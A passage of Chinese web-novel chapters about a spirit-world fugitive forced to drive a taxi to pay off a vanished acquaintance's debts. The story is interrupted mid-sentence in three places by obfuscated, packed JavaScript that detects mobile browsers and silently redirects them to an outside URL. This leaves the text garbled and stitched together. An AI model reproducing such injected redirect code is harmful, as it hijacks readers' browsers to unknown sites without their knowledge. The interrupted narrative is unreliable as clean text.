队伍很快向前,窗口的工作人员态度堪忧,不停地叫排到的人“边上去”,然后“下一个!”不一会,在原先的队伍边上,又多了一条等待客诉的小队,与主队伍此消彼长,虎视眈眈地盯着窗口。 “下一位!” 终于轮到了沈威。 “司机服务”的窗口周围用玻璃和栏杆围挡了起来,沈威抬手时碰到了,听声音很是坚固,也是,这服务态度,警惕被客人打是很有必要的。窗口里的桌子后坐了一个黄毛年轻人,潦草的声音通过麦克风传来。 “办什么业务?” 或许是沈威的外表太有冲击力,对方难得多了点耐心,听说对方想要注册司机,叮嘱着沈威签了几份文件。 沈威很认真的看了,但看不懂,还是签了。对方收回文件,又递过来一个小筐,里面是新手司机的必需品。 “恭喜您,现在是已经是一名光荣的注册灵车司机了!” 事情出乎意料的容易,乃至让沈威都有点不敢相信。 “这车钥匙……我就拿走了?” “嗯啊。记得每天跑完回来交日租,也可以按周、月交。剩下的钱自由支配。收音机是送的,和打表机都要自己安装下,公用螺丝刀在调料台那边领。” 沈威见他还算耐心,鼓起勇气问:“就让我把车开走,不需要什么抵押吗,就不怕我……” 他没说下去,有点讷讷的。 那黄毛年轻人笑笑,目光朝着剩下神色各异的司机们一扫:“怕什么?怕你们把车开走,再也不回来了吗?你本来是这么打算的?” 沈威搬起石头砸自己的脚,马上否认:“我不是……” “喏,这里有一张地图,你要是有本事,可以试试。”黄毛得意道,“一看你就是新人,也不怪你不知道,灵界路况的复杂程度超乎你的想象,我赌你都开不出梧桐路口。再退一万步而言,我们这儿是交通处直属单位,你跑到哪里交通处追不到?当灵管局吃干饭的是不是?” 大概是他的态度太过嚣张,四周一时间鸦雀无声。直到他身后的隔间传来一声轻斥:“喂,行啦。” 黄毛噤声,表情却有点不服气。沈威干笑,结束了这场对话:“好的,我知道了,谢谢你。” 黄毛没理他,偏了偏头,却是看对面墙上的时间。现在已是早上10点。 他顿感轻松,没有叫“下一个”,而是欢天喜地道:“时间到了,我该下班了,剩下的,明天再来哦!” 说着,没等司机们反应,就要把面前的小窗关上,下一个正要轮到苇思航,她还没说什么,倒是沈威急了,用手阻住,和惊讶的黄毛大眼瞪小眼。 “欸,我说你这人——”黄毛一改刚才的耐心,语气变得不客气起来。显而易见,他刚才的暖心服务其实只是为了拖到下班时间罢了。 “就剩她一个了,帮帮人家吧!人家小姑娘也等了怪久的!”热心大哥沈威替苇思航求情。 黄毛翻了个白眼,正要说什么,身后隔间里又传来一声轻咳,顿时安生了,迎着那些投诉未果的人的怒视,他不情不愿,屁股重新挨到凳子上,抬眼瞧了眼苇思航,拖长了声音,好像舌头烫嘴一样:“你是什么事儿啊?” 其实,在黄毛刚才提到交通处的时候,苇思航就打起了退堂鼓,她如今很有一个法外狂徒的自觉……黄毛不接待正合她意,本来想再找个司机打听一下充电的事儿就得了,哪怕是继续跟着沈威混呢……却没想到沈威会主动帮她争取。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827521|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不光是黄毛,沈威,所有人都看着她,她一下卡壳了。 “那个……我是……” “买单的?登记的?充卡的?——如果是油卡的事情,明天统一处理!”黄毛扫了她一眼,极不耐烦。 “不是……”苇思航深吸一口气,定了定神,“我想找个人。” “我一个朋友,叫陆萌的,是不是在你们这里开车?” * 提起陆萌,属于急中生智。 听到这个名字,黄毛却一愣。 “你找路蒙?”他又确认一遍。 苇思航压下心里的忐忑:“嗯。” 黄毛猛地一梗脖子,朝里面隔间吼了一嗓子:“老板娘!找路蒙的!” 方才那声音再次响起,没好气:“我长了耳朵,我听得见!” “让她进来说话!” 黄毛得了指示,认命地打开隔间的小门,请苇思航进去。 苇思航糊里糊涂,沈威拖着呼吸机,和她一块。 黄毛失了算,放进两个人,那门却关不上,早在一旁虎视眈眈的客诉人群一拥而上,转眼将他淹没,他回头看着苇思航和沈威的背影,那场景仿佛丧尸电影里的悲壮一幕。 苇思航有种不妙的预感,心里打着鼓,与沈威一前一后,走进门帘隔断的里间,这是一个中规中矩的起居室,正对着门口一个空着的神龛,旁边镇守着两只金色的招财猫,冷冷地看着来人。房间里灯光昏暗,像是鱼缸里的紫外线补光灯,发出奇异的蓝光。那个黄毛口中的“老板娘”——一个年轻女孩子正靠在沙发上打电动,见他们二人来了,随手丢掉手柄。 “就是你,找路蒙的?”她先是看了沈威敞开的胸腔一眼,转头看着苇思航。 苇思航不动声色:“对。” 老板娘身材娇小却凹凸有致,脸蛋也十分美貌,她的眼睛是蓝色的,头发也是蓝色的,那种人工的,没有一丝杂质的蓝色,等等,这建模好生熟悉…… 对了,就是这个词——“建模”。 “我叫钱得乐,这个嘛,”她甩了甩头发,指着自己介绍,“《狂战风暴》里的塞克特。” “你好,”苇思航明白了,怪不得她看起来和陆萌那么眼熟呢,原来外形都是同一个游戏里的角色,“我叫苇思航。” “——苇姐。”不用苇思航说,钱得乐颇为上道,笑起来眼睛里阴影深深,让人感觉不到友好。 “你为什么要找路蒙?” “呃,因为他不见了……” 废话…… “不见了?”钱得乐重复一遍,肢体动作夸张,两只手在空中画了一个圆,“是不是在你面前,突然一下就不见了?” 苇思航点点头。 钱得乐变脸如翻书,顿时收敛了笑容。 实话实说,在被请进来之前,包括初见钱得乐老板娘时,苇思航心里还抱有一丝不切实际的幻想。 难道说,这是一个以游戏为落点的秘密组织,陆萌是个什么重要人物? 难道说,他们知道陆萌的下落,她误打误撞,马上就能和陆萌接头了? ——很抱歉,以上都不是。 “你和路蒙是什么关系?” “呃,朋友……”她自以为的……勉强算是吧。 她发誓,如果知道钱得乐的真实意图,她绝对不会这样回答,尽量撇清关系,越干净越好。 “这样啊。”钱得乐道,“你们约定了还会见面?” “……” 苇思航不会撒谎,却也没有说话。 ——“在我们经常见面的那个路口,我会去那里等你……” 这话陆萌说过吗?怎么感觉像在梦里…… 钱得乐突然动作,从猝不及防的烟鬼沈威口中夺过他手中的半截烟,痛吸一口,再把烟气全数喷到苇思航脸上。 纵是闻不到烟味,苇思航下意识咳呛起来,眼睛眯起,看到钱得乐一脸愤恨,陡然换了一副恶狠狠的面孔。 “那他欠的债,就你先替他还吧!” 苇思航:“……???” 39. 38. 还钱!!! 她果然应该放弃幻想。 她都自诩是逃脱灵管局追捕的法外狂徒了,试问始作俑者,当初怂恿她犯事的陆萌还能是什么好鸟? 她甚至不叫“陆萌”。 钱得乐递给苇思航一份最初司机登记时的文件,上面的名字是“路蒙”。 苇思航瞪大眼睛摆手:“不不不,这和我认识的陆萌不是一个人,应该只是同名罢了……” 她的目光很诚实地落在文件附着的照片上。 性别都变了……啊,不对,他确实是个男的…… 一寸免冠照片上,一个小麦肤色的年轻男人朝着镜头露出漫不经心的笑容,怎么看怎么有点熟悉…… 她曾经在“陆萌”的脸上看到过如出一辙的神情。 这难道真的是他? ——就算是也不能承认! 而且这什么道理啊?她难道看起来很像什么冤大头吗? 苇思航闭口不语,酝酿着怒气,正要爆发。 “老板娘。”黄毛艰难突破重围,将人潮拦在门外,掀开帘子走了进来,苇思航下意识抬头。 之前隔着围栏的窗口,长相看不太清楚,如今一见,只道那潦草声音的主人,长得也相当潦草,小眼睛,眉毛却很浓密,放在脸上有种头重脚轻的感觉,一头黄发被薅乱了,显得更加潦草。 苇思航感到奇怪,黄毛叫的是“老板娘”,此时却似笑非笑地与她对视。 “喂,外面停的那辆白车是你的吧?车牌0373?” 不知是否故意,钱得乐好整以暇,探身将一旁收音机的音量钮旋大,一直充当沉闷背景音的夜行者广播声音清晰地插入:“接交通处通知,现紧急插播一条协查通报,上午九时许,一辆白色新能源汽车撞车逃逸,车牌0373,驾驶人为一女性梦灵,如有线索,请联系xxxx有奖……” 除黄毛之外其他两人也转过头来。 被行注目礼的苇思航:“……” 就这样,她积攒的怒气像受潮的哑炮,发出一声轻哧后销声匿迹,只是面目阴沉。 谁懂啊!就这一句话让她破防了! 钱得乐脸上重新浮现出心满意足又高深莫测的笑容,暗地里冲机灵的黄毛伸出大拇指,黄毛则表现得太过明显,回她一个媚眼,眉毛好像要跟着飞出去了。 苇思航心中涌上一股悲愤之感,只是悔不当初,她就不应该来这里! 看来人倒霉的时候真的会很倒霉啊! * 十五分钟后,苇思航与钱得乐屈辱地达成交易,被迫成为了“司机大排档”下面的一位新人注册司机。 一份合同递到苇思航面前。 苇思航翻了翻,气馁道:“我不会看!” 钱得乐惊讶:“你不识字啊?” 苇思航:“……你自己觉得这能看吗。” 钱得乐捂嘴浅笑:“是哦。” “放心,我们开门做生意的,光明磊落,可没私自加什么不平等条约。”钱得乐道,“在路蒙那个狗东西出现之前,就先要麻烦你帮他还下欠的月租啦,车费还完债的部分还是归你……哦不对,还有你的日租少算了。” 苇思航不满:“我开我自己的车,为什么还要交日租?” 她刚刚跟钱得乐达成的约定。司机工会——他们这样称呼自己——同意暂时不举报0373,相应的,苇思航要留下来,给工会开车,帮路蒙还债。 路蒙那个家伙,据说是开走了工会的车,又撞坏了一辆,随后逃之夭夭,至今未归。 嗯,很像他会做出的事。 “当然啦,你帮路蒙还钱,回头再找他讨债。工会到时候会帮你作证的,收据什么的都不在话下……” 苇思航沉浸在思绪中。 连起来了,都连起来了……苇思航蓦地想到,自己当初在废弃停车场第一次见到路蒙的场景,路蒙当时开着一辆黑车,自行下了车,然后坐上0373的副驾……那他本来那辆车呢? “我知道了!”苇思航一拍手,叫起来,“你们知道附近有一个废弃停车场吗?里面都是黑车,看起来要报废那种的?我看到路蒙把车停在那里了!” 她不知道废弃停车场的地点和名称,只能这样描述。 如果能把路蒙欠工会的车找回来,可能能弥补一点吧? 等下,难道她已经默认接受了帮路蒙还钱吗…… “废弃停车场?”钱得乐一惊,与一旁的黄毛对视一眼。 试探性地问:“你知道在哪里?” “……不知道。”苇思航沮丧,“不过如果我在那附近,兴许能找到……” 不知道为什么,听见她的回答,钱得乐反而松了一口气似的。 “别想了!除非路蒙带着车出现,你就好好给工会开车还债吧!你的车呢,暂时也不扣押了,你是想跑自己的车,还是让工会再给你配一辆?” 苇思航的回答当然是开自己的。 她得了这个教训,恨不得再也不和0373分离,平白无故多了个把柄。 是了,她开自己的车,不用工会的车,交哪门子的日租? 丁是丁,卯是卯,苇思航自觉已经吃了哑巴亏,涉及车费划分问题,便有些针锋相对。 钱得乐眼睛一转,道:“哦,是了,是没有日租……但是服务费要另算,差不多也是这个数啦。” 苇思航心道对方是吃准了她,就这破服务,还敢要服务费? 但当即也不愿意撕破脸,假笑了一下:“行。” 钱得乐见她好说话,脸上笑出一朵花,又听苇思航道:“我跑车电费便宜,这个工会总能帮我包了吧?” 钱得乐与她对视,也不愿过多纠缠,犹豫了一会,还是答应了:“行吧。” “避免对其他司机不公平,工会会给你提供发电机充电,按照平均水平替你补贴油费。” “成交。” 苇思航最关心的问题得到解决,放下一点心。装模做样又努力辨认了一会合同上的文字,按上自己的手印。 契约达成! “你车钥匙给我。”黄毛懒懒上前,“收音机、打表器在这里,喏,给你。自己安装下。” “要车钥匙干嘛?我一会还得开呢!”苇思航自我防卫般脱口而出。 “怎么这么多废话!”黄毛不喜,“以为谁稀罕你那辆破车似的。” 苇思航朝他瞪了一眼,又看了眼钱得乐,咬了咬牙,右手伸出,交出车钥匙。 她紧张极了,真怕黄毛拿着车钥匙转身就跑——万幸没有,只见他把车钥匙放在掌心,像变魔术似的搓了搓,不一会,一个复制品就出现了。他把左手的递给她,苇思航接过,她目不转睛,确信一开始黄毛接过去的时候也是左手。 “好了。”钱得乐拍拍手,一脸轻松,一副大功告成的模样,转头又嘱咐那黄毛:“杰伦,她那车麻烦,你去仓库把发电机找来,帮她弄下。” 那黄毛名叫“邹杰伦”,此时苦着脸道:“老板娘,我哪有时间啊!我真得下班了。” 说着,他的身影越来越淡,像是颜色被晕染的水彩画,眼看着要从灵界脱离,那是他即将苏醒的征兆。 伴随着一声刺耳的闹钟铃响,邹杰伦从实界的床上醒来,摁灭闹钟,这时还有点犯困,瞥到手机屏幕,猛地睁大双眼——10点15!他上班要迟到了! 此时的灵界,“司机大排档”的暗室内,剩余三人眼睁睁看着邹杰伦消失在眼前,钱得乐习以为常,苇思航则吃了一惊,第一次看到梦灵苏醒的过程。她顿时明白了,为什么刚刚钱得乐强调路蒙是“突然一下消失”的。 如果她真的还能再见到他…… 马上,收到总计8万8的欠费清单,苇思航心中充满了愤怒的狂吼,只有一个念头:还钱!!还——钱——! * 黄毛邹杰伦离开了。 钱得乐老板娘给他们指了仓库的位置,自己没有帮忙的意思,重新窝回沙发上打电动。 跟充电有关,苇思航不敢耽误,认命地去仓库寻找设备,便从暗室的另一个门出去了,沈威从头到尾一直跟着她。 暗室的后门通往露天的后院,再走几步路就是店前的停车场了,所谓仓库是一个搭起来的小铁皮棚子,苇思航没费什么功夫,在一堆杂物里找到了体型庞大的发电机。 沈威把抽了一半的香烟珍惜地放到一旁的架子上,自己弯下腰,作势要帮她把机器搬去停车场。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840682|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“沈叔,不用你,我来就行……”苇思航推辞道,心惊胆战地看着沈威胸腔里的内脏一齐颤抖起来。 她刚刚试着搬了一下,没搬动,更何况是病人沈威? 但她显然低估了对方,沈威两只手一起发力,发电机顿时离开了地面,他胸前跟灰扑扑的机器亲密接触,感觉内脏都要沾上灰尘,叫人看着难受,至于脸上,倒看不出吃力的表情。 “没事儿,叔刚抽饱了,现在浑身都是劲儿!”他十分爽朗地笑道,背上背着呼吸机,像是某种太空装备,面前则抱着发电机轻松地朝停车场的方向走去。 苇思航跟在他身后,替他拿着烟,倒怪不好意思的。 灵界的天空一片漆黑,像是化不开的墨色。沈威帮苇思航把发动机抬到小白车附近,直起身子,擦着额头上的汗,苇思航既感激又尴尬,一时无言,把那支抽了一半的烟递过去。 沈威顿时眉开眼笑地接过:“谢谢。” 苇思航忙道:“是我该谢谢沈叔。” “别客气,”沈威道,一脸慈爱地看着她,直到苇思航心里发毛,“看到你,我就想到我女儿了。” 苇思航听了这话,倒放下心来,难怪…… 沈威在烟雾里眯起眼睛,有些怅然地笑道:“我今后的大别墅和大跑车,都要靠她给我烧过来啦!” 苇思航不知如何接话,只见暗夜里那半截烟亮着的橘色光点,好像沈威所剩无几的生命。 “真的不来一根吗?”他又取出烟盒,从纸盒底部顶出一根烟,递给苇思航。 苇思航这时不好推辞,只好双手接过,想要说些安慰的话:“总会有再见的一天的……” 话说到一半,自己又觉得有些不祥,便住了口,好在沈威没有在意。 沈威转过头去,看着面前停的一排车,也不知道在想什么。 很快从伤感中恢复,回头见苇思航手里拿着烟不动,才反应过来,掏着身上。 “是不是要打火机?” “不用。”苇思航婉拒,“我还是不抽了。这根给您留着。您也要悠着点啊。” 她说着,娴熟地夹着烟的那根手指,点了点沈威的烟盒,他抽的太猛,已经空了大半。 沈威又呵呵笑:“真是。跟我女儿一样。我得病之后,她也说什么都要戒烟。” 点到即止,他转开话题:“刚才在里面,我没机会说,我看啊,这工会说跟交通处联动,多半是骗人的!不然你们说的那个路蒙跑了,怎么没被抓回来,反而要逮着你还债?真是不公平!” 沈威替自己打抱不平,苇思航心中微暖,又见沈威倏尔一笑,眼中精光四溢,伸手拍拍她的肩膀:“支持你跑路!到时候可别忘了叫上沈叔哟!” 原来在这儿等着她呢! 苇思航心里一动,笑道:“那是当然。” 沈威帮完忙,不久就在停车场的角落找到自己的“新”车——其实是一辆相当旧的黑色老车,苇思航曾在废弃停车场里见过大量的同款,当时怎么想的,现在仍没变——看上去像个长方形的棺材,但这都不影响沈威对新座驾的兴趣盎然。 检查过车况,他坐进主驾,成功点火,发动机不堪重负地喘着粗气,跟它的主人一样,像是一个带着呼吸机的垂死的病人。确认能开,沈威就已经很满意了,转眼收音机和打表机都装备停当,他摇下手动车窗,跟苇思航打了个招呼,就驾车离开,走前不忘给苇思航留下了足够发动机发动的汽油。 苇思航目送着他离开。 小白车旁,老旧的发电机时隔很久地运转起来,发出轰隆的噪音。这个时间,梦灵司机所剩无几,还剩下的那些,也大多出去载客了,苇思航所在的角落十分隐蔽,没有见到其他车或人经过。 几次尝试之后,0373的面板总算显示正在充电中,屏幕亮起的微光瞬间点燃了苇思航的希望之火。 等待0373充电的当儿,她先是动手将车前后丑陋的“0373”的新能源绿牌卸了下来,不知从哪儿找来一桶可疑的黑色油漆,开始在白色的车身上放肆涂鸦。 历经几个小时之后,夜空下纯白的0373令人痛心地焕然一黑。 而苇思航倒霉的出租司机生涯,这才刚刚开始。 40. 39. 孤独的亡命之徒 前方梧桐路口发生侧翻事故,炎炎夏夜,空气中弥散开一股似有若无的死鱼的气味。有交通处标识的黑色摩托很快赶往现场,两辆车一前一后,一路风驰电掣,如烈风一般撕开暗夜,所经之处,黑色灵车纷纷避让到两侧。 很快到达事故现场,打头的骑警率先跨下摩托,头盔尚未取下,他身材高大健壮,一身黑色制服包裹着肌肉,像是电影里来自未来的战士,沉重的军靴踏过地上的水痕,那辆侧翻的黑车就在不远处。 稍后一个骑警的身材则纤细许多,人还在车上,取下头盔,原来是个栗色短发的女人。 “组长。”女人慢了半拍,放下头盔,敏捷地跳下摩托,马上跟上。 和人手繁杂的调查处不一样,同为灵管局三处之一的交通处一共只有六个组,按照灵界已知的六个区域划分,复杂的路况代替了自然的天堑,彼此之间泾渭分明,相应的,他们对于自己辖区的情况极为熟稔。 不久前地上的死鱼不知何时已经消失了,同样消失的还有本应在车上的伤者。如今车内空无一人。 能进入久负盛名的交通处,这两人都是千里挑一的实力幽灵,他们属第五组,“组长”忽必烈经验丰富,声望极高。女骑警宁霜虽然还是新人,不过已然积累了一些经验,借着自己身材灵巧的优势,钻进事故车内调查,忽必烈则弯下身,观察着地面残留的轮胎印。 他看到了地上粘连的鳞片,伸手去碰,感到一股恶心的滑腻。又是鱼鳞。 这已经是最近第三起类似的事故了。 “车主是司机工会的注册司机,叫林月香,梦灵,41岁。”宁霜很快在副驾前方的装备箱里找到了相关证件。 “看起来是车主主动刹车导致的侧翻。现场没有第二辆车的踪迹。”忽必烈站起身来,稍低一点的声音总结。 宁霜耸耸肩:“林月香不见了。估计是惊吓过度,现在已经醒了吧?” 虽然已经是一个月内处理的第三桩类似案件,宁霜却并不感到奇怪的样子,说实话,她也不明白这有什么出动他们的必要。毕竟这种事情一点也不稀奇,灵界开车的梦灵又不需要驾照,车技存疑,梦中发生车祸,也是十分正常的事情。 “你这么觉得吗?” 宁霜十分爽利地反问:“那您怎么看?” 忽必烈顿了一下。 “暂时还不能下定论。这附近有异常的精神力波动,连续三次都是如此,不像是普通的车祸。鉴于这附近界域处曾经勘测到有里世界的存在,最好不要掉以轻心。”忽必烈说道,随手摘下头盔,向抛皮球一样丢给女下属,没有了头盔的阻隔,他深深吸了一口气,确认了那股空气中腥味的存在,并不是他的错觉:“你也闻到了吗?” “嗯。”宁霜回答,“又是海的味道。” ……这说话的艺术,内陆人忽必烈摸了摸鼻梁,可比他即将脱口而出的“死鱼”要好听多了啊。 宁霜反应很快,主动道:“组长,那需要我通知界域处的人来吗?” “先不急。”忽必烈断然道,“里世界是最坏的结果。当务之急,首先要排除‘房间’。——这附近最近的房间在哪里?” * 当晚差不多时候。 回忆完自己是怎么一步步沦落至此,驾驶了半个月无名黑车的女司机苇思航长长呼出一口气,认命地叠起手绘地图,丢进副驾即将爆满的装备箱里,0373被卸下来的车牌就藏在其中一堆杂物的深处,暗无天日。 紧锣密鼓的排气声浪从车外传来,由远及近,苇思航看到从车窗的一角迅速靠近的,两辆摩托车的前灯忽闪,好像正朝着她驶来。 是交通处的车! 背上激起一片冷汗,苇思航迅速拉动主驾座椅旁边的摇杆,椅背迅速下塌,卧倒! 车灯扫过空无一人的车厢,两辆摩托一前一后,急速驶离,消失在后车镜中。 ——目标不是她。 苇思航劫后余生地粗喘,心里暗道自己没出息。好在是周围没人看见她这副窘态,她于是又哼哧哼哧,操纵遥杆,把椅背调回正常状态。 他们孤独的亡命之徒是这样的。 她想到什么,或许是情绪上来了,伸手拍拍空调出风口,嘴里喊:“系统?系统?” ——这已经是她每天的固定动作,而今天还是,没有人应答她。 自从从梦茧大厦逃离,她就再也没有听过电子音的声音。鉴于她目前的电量只有15%,她有理由怀疑是电量过低导致的系统休眠……她也只能这样想了。 与寂静的空调口形成对比的,被调低了音量的老旧收音机仍然发出低沉的轰隆声,宣示着自己的存在,那声音像是被阻塞了的下水道,让人听着心惊胆战。 苇思航伸手调大了收音机,好容易把旋钮固定在一个十分微妙的点上,正好处在低沉的轰隆和尖声的啸叫之间,她很满意。夜间播报刚刚结束了,FM101开始播放流行音乐——括号——DJ版,苇思航的精神随着动次打次的节奏一震! “下面给听众朋友们带来一首流行天后赖星星的《宝贝别勾芡》,给这个夏夜带来一股清凉的动感!” *宝贝的爱别勾芡 每每信了你的话的我也有够贱 甜言如同三花淡奶 我错信保质期有一万载* ……果然,人就要听点这些才有力气讨生活嘛! 车前的“空车”标识重新亮起,伪装后的0373再次行驶在灵界的公路上,苇思航今晚开始接单。 “晚上好。去哪里?” 后车门被打开了,苇思航从车内后视镜望向后排,努力让自己的声音显得热情好客。 一个男人长着一张马脸——真正的马脸——打了个响鼻,一刻不停地往嘴里放着绿化带的草皮,像是一大块抹茶巧克力。 苇思航已经见怪不怪。也说不清为什么,她毫无障碍地理解了男人的诉求。 苇思航按下打表器,“空车”的标识往前一弹,第一单,出发! “去呼伦贝尔路怎么样?gogogo!” 她知道这一切很难解释,不过灵界里,有时候目的地是司机决定的…… 苇思航踩下油门,马脸男发出一声快乐的长嘶! 不多时,苇思航在一大片空草坪前停下,呼伦贝尔路到了。苇思航从车后镜里注视着马脸男从后门下了车,顺便扫了眼打表器,30灵币。 她还没来得及走,马脸男绕车一周,来到了主驾附近,苇思航按下车窗,还以为对方还有什么话要说,却见马脸男背对着她,四肢着地,后腿在地上磨蹭,发出略显焦躁的嘚儿嗒的马蹄声,似乎等着什么,还不肯离去。 苇思航好像明白了。她忍着无语,伸出手去,在马脸男裹着西装裤的屁股上一拍,嘴里道:“吁!驾!” 马脸男应声跑了出去,草坪成了梦中的草原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我中奖了!我中奖了!啊哈哈哈哈啊哈!” 你近乎癫狂地笑着醒来,发现原来一切是梦,感到怅然若失。灵界里司机结束这短平快的一单,可观的灵币到手,慢吞吞地回收旧彩票,准备接下一单了。 又或是,紧张刺激的追击枪战…… “有人在追我们,坐稳了!” “卧倒!” 劈里啪啦的声音,好像咫尺之外的枪林弹雨,而你但凡不那么晕头转向,就会发现那声音其实是从收音机里传来。 “客人,你最近是得罪了什么人吗?” “我,我不知道啊……” “不好,前面已经没有路了……” “抱歉,我不能再连累你了。”你涕泗横流,悲壮的英雄主义完全占据了上风,不知何时,车门打开了一条缝,你鼓起勇气,大喝一声,从高速运行的车上跳了下去! “客——人——!”耳边响着动情的呼唤,那辆出租车却没有丝毫停下的意思,欢快地替你奔向远方自由的夕阳…… 以上这几个经典剧本,苇思航都试过。不过剧情的发展有时难以预料,比如最后一个,有个客人嫌她开的太慢,不知从哪里掏出手枪,倒反天罡逼她跳车,换他自己来开。 苇思航:“……” 好在正好遇上一场黑雾,她一个漂移,把这个穷凶极恶的客人甩出去了,废了好些功夫,最后只赚了个起步价而已。 唉,人生如戏,灵界如大戏台……身为司机,她也很抱歉。又当演员又当编剧,可得悠着点啊! 41. 40. 都怪路蒙! 司机工会的日租是500灵币,为了多赚点钱,司机想方设法在有限的旅程中加码,也是没办法的事。 苇思航听说最近同行之间新增了恐怖剧本,据说收益超高,不过高收益也意味着高风险,毕竟……灵界,诡异的事还少吗?听说有一次,有司机招来了不好的东西,把幽灵当成了梦灵来整,结果自己被吓了个半死,半路汽车抛锚,可谓得不偿失。 苇思航倒觉得这有点像那个什么……魇境……吸□□神力之类的,把所有梦灵有关打车的噩梦集合起来,是不是就和她曾经遇见的黑池魇境差不多?那叫什么?“黑车”吗? 她被自己没有人可以分享的笑话逗笑了。 感觉梦茧大厦的种种遭遇都已经过去很久了似的……半个月过去,司机生活趋于平淡,她按时还钱交租,当初逼她走上这条路的老板娘钱得乐和邹杰伦,是不是都快把她忘记了? 只有她自己知道,她从来没有放弃逃跑。 只是…… 面板上15%的电量刺痛了她。 也不知道是不是提前算计好的,奸商钱得乐提供的发电机发电效率极低,她辛苦跑车一天,赚的精神力除去还债和“服务费”,剩下的钱满打满算只够电量维持在这个半死不活的水平。 虽然超过了危险线,但离苇思航的心理预期还差的很远。 说实话,但凡电量充足,她这时早靠着车载地图逃之夭夭了。 除去电量之外,地图就是她的另一重底气。知道的越多,她就越发明了车载地图的宝贵之处,它史无前例的详细程度为苇思航赢得了宝贵的信息差。她最近仔细对比车载地图和手绘地图,就是为了规划一条万无一失的逃跑线路,如果计划得当,甚至根本不用担心会被钱得乐他们追上…… 眼前像是出现了一副画面,0373卸下伪装,欢快地奔向远方自由的夕阳…… 想什么呢?灵界哪来的夕阳? 久坐的腰身传来一股酸痛,随后舒缓的力道传来,苇思航舒服地眯上眼睛。这是路蒙留下的盗版“特苏鲁”,不会说话的软萌小触手怪——“大触”。它如今寄人篱下,乖巧地变身腰托,善解人意地为临时主人提供全自动按摩,毫无怨言。 苇思航冷哼一声,这是又想到了。 那个人。 “你那个爹啊,临走还算做了件好事……” 也不知大触听不听得懂,接下来的揉捏更加卖力。 苇思航的心情有些复杂,窗外的景物飞驰,她驶上一条只有车载地图上才有记载的小路,抄近路回司机大排档,准备先去给今天的0373充电。 来到完全陌生的地方,系统休眠,路蒙失踪……本以为只是个纪念品的大触现在成了她唯一的伙伴。 她按下车窗,让风从车外吹进来,燥热没有丝毫缓解,好在没那么闷了。她心中的憋屈却无法抒发,为了省电,她最近连空调都不敢开了,这样的日子,什么时候才是个头啊? 如果一定要有人为这一切负责,她希望是—— 都怪路蒙! ——“都怪路蒙!” 此刻,司机大排档的暗室里,有人替苇思航说出心声——出自骂骂咧咧的邹杰伦。 凌晨两点,顶着一头潦草的黄毛,邹杰伦结束了一天的打工,好容易躺到床上,进入梦乡……转头又来灵界打工了。想到自己坎坷的打工命,只能咒骂起曾经的同事。 路蒙走的倒爽快,剩下的活都压到他一人身上,苦不堪言。 是的,如果只以为路蒙的业务是一个普通的司机,那就太天真了。 “来了?”听见后门传来的响动,老板娘钱得乐头也不抬,她背对着门站着,好似背后长了眼睛。 她罕见的没有在打电动,低头望着观赏鱼缸里,手伸进去鼓捣着,像是在喂鱼,后脑勺上有一个可爱的蝴蝶结。 ——虽然邹杰伦知道,那里面并没有鱼。 暗房中,依旧是熟悉的鬼气森森的蓝色灯光,最高处的神龛上空无一物,两只镇守在旁的招财猫微笑着,一左一右,一前一后摆动着手臂,好似正盯着来人看。 “小邹啊,最近上班越来越晚咯。”钱得乐语气揶揄,她有时叫他“小邹”,有时叫他“杰伦”,视心情而定。 邹杰伦流汗了:“咳,您这话说的……跟我老板好像……” ——他想起上回10点15才醒的那次,他毫无意外地迟到了。就是从那天起,他失去了这个月的全勤奖,从此开始摆烂。 “你这话说的,难道我不是你老板嘛?” 钱得乐说着,转过身来,萝莉裙摆划出一道优美的弧线,仿佛那个123稻草人的游戏,目光精准地锁定了邹杰伦的位置,盈蓝的大眼睛和卷翘睫毛正盯着他看,在同样蓝色的灯光下显得有几分鬼魅。 “是是是!我那腰缠万贯,如花似玉的老板娘嘿!” 钱得乐被哄得忍不住扑哧一笑。 “咳咳,虽然我最近睡得晚,但是起的也晚啊!所以从工时上讲,您也并没有吃亏!”邹杰伦为自己不服气地辩解。 “行了行了,我什么时候因为这个扣过你工资?” “但是也没有涨薪……”邹杰伦干巴巴道。 他现在可是一个人干两个人的活啊喂! 钱得乐装听不见,迅速转换话题:“你怎么今天来这儿了,没直接去‘房间’?” “很快就走。”邹杰伦自觉道,“‘客房服务’人手不够,我得多带几个人一起。” 钱得乐随口问:“今天又是什么事儿?” 邹杰伦面带菜色:“还是那些呗,今天是演唱会。我说什么要给她凑个……唔,十个人吧。” “辛苦你啦!要好好服务我们的尊贵房客噢!赚多多的小费!”钱得乐声音亢奋,伸手拍拍邹杰伦的肩膀,就差催着他快走。 说到“小费”——也就是钱,也就是灵币,也就是精神力,她的大眼睛里冒着贪婪的绿光,不看看她姓什么?钱啊! 他们大排档什么业务都做,明里的业务,还有暗里的业务,比如……“房间”。他们说的那位“房客”,邹杰伦私底下更愿意管她叫疯女人。 一连几天,“司机服务”的窗口都荒废了,半是为了避风头,邹杰伦被派去“房间”出外勤——这之前都是路蒙的活儿——不禁感叹果然还是坐班比较轻松。 